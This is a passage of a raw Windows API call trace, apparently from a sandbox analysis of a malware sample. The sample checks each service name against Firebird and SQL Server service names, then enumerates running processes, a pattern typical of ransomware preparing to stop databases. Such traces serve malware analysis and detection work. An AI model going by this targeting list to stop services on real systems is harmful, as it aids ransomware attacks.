	[0193.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0193.478] lstrlenW (lpString="lfsvc") returned 5
	[0193.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0193.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0193.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0193.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0193.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0193.479] lstrlenW (lpString="lmhosts") returned 7
	[0193.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0193.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0193.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0193.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0193.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0193.479] lstrlenW (lpString="LSM") returned 3
	[0193.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0193.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0193.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0193.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0193.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0193.479] lstrlenW (lpString="MpsSvc") returned 6
	[0193.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0193.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0193.682] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0193.683] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0193.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0193.683] lstrlenW (lpString="NcbService") returned 10
	[0193.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0193.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0193.683] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0193.683] lstrlenW (lpString="netprofm") returned 8
	[0193.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0193.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0193.683] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0193.683] lstrlenW (lpString="NgcSvc") returned 6
	[0193.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0193.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0193.683] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0193.683] lstrlenW (lpString="NlaSvc") returned 6
	[0193.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0193.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0193.683] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0193.683] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0193.684] lstrlenW (lpString="nsi") returned 3
	[0193.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0193.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0193.684] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0193.684] lstrlenW (lpString="PcaSvc") returned 6
	[0193.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0193.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0193.684] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0193.684] lstrlenW (lpString="PlugPlay") returned 8
	[0193.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0193.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0193.684] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0193.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0193.685] lstrlenW (lpString="Power") returned 5
	[0193.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0193.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0193.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0193.685] lstrlenW (lpString="ProfSvc") returned 7
	[0193.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0193.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0193.685] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0193.685] lstrlenW (lpString="RpcEptMapper") returned 12
	[0193.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0193.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0193.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0193.685] lstrlenW (lpString="RpcSs") returned 5
	[0193.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0193.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0193.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0193.685] lstrlenW (lpString="SamSs") returned 5
	[0193.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0193.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0193.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0193.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0193.686] lstrlenW (lpString="Schedule") returned 8
	[0193.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0193.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0193.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0193.686] lstrlenW (lpString="SecurityHealthService") returned 21
	[0193.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0193.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0193.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0193.686] lstrlenW (lpString="SENS") returned 4
	[0193.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0193.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0193.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0193.686] lstrlenW (lpString="ShellHWDetection") returned 16
	[0193.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0193.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0193.686] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0193.686] lstrlenW (lpString="Spooler") returned 7
	[0193.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0193.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0193.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0193.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0193.687] lstrlenW (lpString="StateRepository") returned 15
	[0193.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0193.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0193.687] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0193.687] lstrlenW (lpString="SysMain") returned 7
	[0193.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0193.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0193.687] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0193.687] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0193.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0193.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0193.687] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0193.687] lstrlenW (lpString="Themes") returned 6
	[0193.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0193.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0193.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0193.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0193.687] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0193.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0193.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0193.688] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0193.688] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0193.688] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x590
	[0193.697] Process32FirstW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0193.698] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0193.698] lstrlenW (lpString="System") returned 6
	[0193.699] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0193.699] lstrlenW (lpString="smss.exe") returned 8
	[0193.699] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0193.700] lstrlenW (lpString="csrss.exe") returned 9
	[0193.700] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0193.700] lstrlenW (lpString="wininit.exe") returned 11
	[0193.701] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0193.701] lstrlenW (lpString="csrss.exe") returned 9
	[0193.701] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0193.702] lstrlenW (lpString="winlogon.exe") returned 12
	[0193.702] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0193.702] lstrlenW (lpString="services.exe") returned 12
	[0193.703] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0193.703] lstrlenW (lpString="lsass.exe") returned 9
	[0193.703] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0193.704] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0193.704] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0193.704] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0193.704] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.705] lstrlenW (lpString="svchost.exe") returned 11
	[0193.706] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.706] lstrlenW (lpString="svchost.exe") returned 11
	[0193.706] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0193.707] lstrlenW (lpString="dwm.exe") returned 7
	[0193.707] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.707] lstrlenW (lpString="svchost.exe") returned 11
	[0193.707] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.708] lstrlenW (lpString="svchost.exe") returned 11
	[0193.708] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.709] lstrlenW (lpString="svchost.exe") returned 11
	[0193.709] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.709] lstrlenW (lpString="svchost.exe") returned 11
	[0193.709] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.710] lstrlenW (lpString="svchost.exe") returned 11
	[0193.710] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.711] lstrlenW (lpString="svchost.exe") returned 11
	[0193.711] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.711] lstrlenW (lpString="svchost.exe") returned 11
	[0193.711] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.712] lstrlenW (lpString="svchost.exe") returned 11
	[0193.712] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.713] lstrlenW (lpString="svchost.exe") returned 11
	[0193.713] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.713] lstrlenW (lpString="svchost.exe") returned 11
	[0193.713] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0193.714] lstrlenW (lpString="spoolsv.exe") returned 11
	[0193.714] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.714] lstrlenW (lpString="svchost.exe") returned 11
	[0193.714] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0193.715] lstrlenW (lpString="audiodg.exe") returned 11
	[0193.715] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0193.716] lstrlenW (lpString="sihost.exe") returned 10
	[0193.716] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0193.717] lstrlenW (lpString="svchost.exe") returned 11
	[0193.717] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0193.717] lstrlenW (lpString="taskhostw.exe") returned 13
	[0193.717] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0193.718] lstrlenW (lpString="msoia.exe") returned 9
	[0193.718] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0193.719] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0193.719] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0193.818] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0193.818] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0193.819] lstrlenW (lpString="Memory Compression") returned 18
	[0193.819] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0193.820] lstrlenW (lpString="explorer.exe") returned 12
	[0193.820] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0193.820] lstrlenW (lpString="SearchUI.exe") returned 12
	[0193.820] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0193.821] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
